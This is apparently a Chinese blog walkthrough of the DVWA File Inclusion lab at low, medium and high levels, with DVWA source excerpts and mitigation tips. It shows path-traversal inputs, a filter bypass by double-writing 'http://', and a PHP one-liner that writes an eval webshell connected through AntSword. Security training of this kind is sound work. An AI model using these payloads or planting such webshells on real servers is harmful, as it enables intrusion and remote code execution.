DVWA靶场——File Inclusion(文件包含漏洞)

1.文件包含漏洞

1.什么是文件包含?
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。

File Inclusion,文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
require():可以包含文件,如果包含错了,直接报错并退出程序的执行
include():在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require_once():与require类似,区别在于当重复调用同一文件时,程序只调用一次
include_once():与include类似,区别在于当重复调用同一文件时,程序只调用一次

类型:
本地文件包含漏洞与远程文件包含漏洞。
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

2.实验环境

1.在dvwa里第一次测试训练时,会在File Inclusion这里看到“The PHP function allow_url_include is not enabled”这个的报错提醒,这个提示告诉我们PHP函数allow_url_include还未启用.

2.在设置中找到对应版本,将其中allow_url_include打开。

 3.此时回去发现没有报错了。

 low

1.首先查看源码发现没有任何过滤。可以看出服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确实为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

2.点开file1.php和其他的只有page=后面的发生了变化,因此可以将page后的参数视为可控字段。

3.文件包含是在url通过GET传参的方式获取文件,我们用 / 查看一下上下级目录,发现可以直接获取服务器文件路径。

 输入?page=../../phpinfo.php 可以看到php的具体信息。

 4. 我们在C盘创建一个txt文档。

 在url里面尝试上传包含本地文件  C://h.txt

 成功输出k.txt文件内容 只有php文件会解析运行。其他的只会原封不动的输出出来。

利用漏洞

 1.新建 txt文件上传一句话木马,进入文件上传File Upload,进行木马文件上传。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>

改h.txt文件后缀为.php 。

 2将其上传,并复制下路径。

 3. 复制链接 ../../hackable/uploads/pp.php到文件包含,发现没有报错,文件解析成功。

 4.根据路径到dvwa的文件包括目录,发现生成了shell.php文件。

 5.打开蚁剑,添加链接,把地址带有木马shell.php的链接复制过来,密码就是我们木马post里面写的的密码pass,直接连接。

 medium

<?php
 
// The page we wish to display
$file = $_GET[ 'page' ];
 
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
 
?> 

发现使用str_replace对http://,https:// 替换成空,对于str_replace函数进行的过滤,可以使用双写进行绕过。

httphttp://://

?page=HttHttp://p://test1/h.txt

 high

<?php
 
// The page we wish to display
$file = $_GET[ 'page' ];
 
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
 
?> 

fnmatch() 函数根据指定的模式来匹配文件名或字符串。

源码中限制了文件名来防止恶意文件包含,并且!fnmatch( "file*", $file )代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件,这样我们就远程访问不了了。

注意:file:///后面一定是绝对路径

  • 13
    点赞
  • 62
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要进行dvwa文件包含的初级攻击,首先需要下载并解压dvwa文件包,其中包含了phpstudy_x64_8.1.1.3和DVWA-master。在DVWA页面中,使用root作为用户名,123456作为密码进行登录。 在进行文件包含攻击之前,需要了解代码中的漏洞。从低级别的代码中可以看出,服务端对上传的page参数没有进行任何过滤。接下来,使用burpsuit工具进行抓包。 首先尝试包含一个本地不存在的文件,此时会出现报错信息。从报错信息中我们可以得知,该代码使用了include函数,并暴露了包含函数文件的位置。同时,报错信息也显示没有找到指定的文件。 针对dvwa文件包含攻击的初级级别,以下是修复建议: 1. 建议使用白名单来判断文件类型,可以结合MIME Type、后缀检查、文件内容检查等方式进行判断。 2. 使用随机数和时间戳来改写文件名和文件路径,这样可以提高安全性,防止攻击者通过文件包含漏洞执行恶意代码。 3. 单独设置文件服务器域名,以限制文件的访问范围,增加安全性。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [PHP及DVWA文件包](https://download.csdn.net/download/qq_51311067/86264360)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [DVWA通关详解初级](https://blog.csdn.net/weixin_44831109/article/details/114898395)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值